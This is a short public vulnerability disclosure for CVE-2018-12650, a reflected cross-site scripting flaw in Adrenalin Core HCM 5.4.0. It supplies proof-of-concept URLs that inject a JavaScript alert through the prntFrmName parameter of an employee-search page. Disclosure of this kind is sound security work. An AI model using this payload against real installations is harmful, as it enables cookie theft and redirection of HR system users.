# Exploit Title: Adrenalin Core HCM 5.4.0 - 'prntDDLCntrlName' Reflected Cross-Site Scripting # Google Dork: NA # Date: 2018-09-06 # Exploit Author: Rishu Ranjan (Cy83rl0gger) # Vendor Homepage: https://www.myadrenalin.com/ # Software Link: https://www.myadrenalin.com/core-hcm/ # Version: 5.4.0 (REQUIRED) # Tested on: NA # CVE : CVE-2018-12650 # Type: webapps # Platform: Multiple # Description # ==================== # A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin Core HCM v5.4.0 HRMS Software. # The user supplied input containing malicious JavaScript is echoed back as it is in JavaScript code in an HTML response. URL ==================== https://<Host:port>/myadrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined https://<Host:port>/Adrenalin/AppMaint/ApplicationtEmployeeSearch.aspx?popToken=emp&prntFrmName=AppAccFrm76096%22%3balert(1)%2f%2f150&prntDDLCntrlName=hdnEmpSearch&HRShow=0&CntrlType=txt&Applicationid=&Grade=undefined Parameter ==================== prntDDLCntrlName prntFrmName Attack Type ==================== Remote CVE Impact Other ==================== Allows an attacker to input malicious JavaScript which can steal cookie, redirect them to other malicious website, etc. Reference ==================== https://nvd.nist.gov/vuln/detail/CVE-2018-12650 https://www.knowcybersec.com/2018/10/CVE-2018-12650-reflected-XSS.html Discoverer ==================== Rishu Ranjan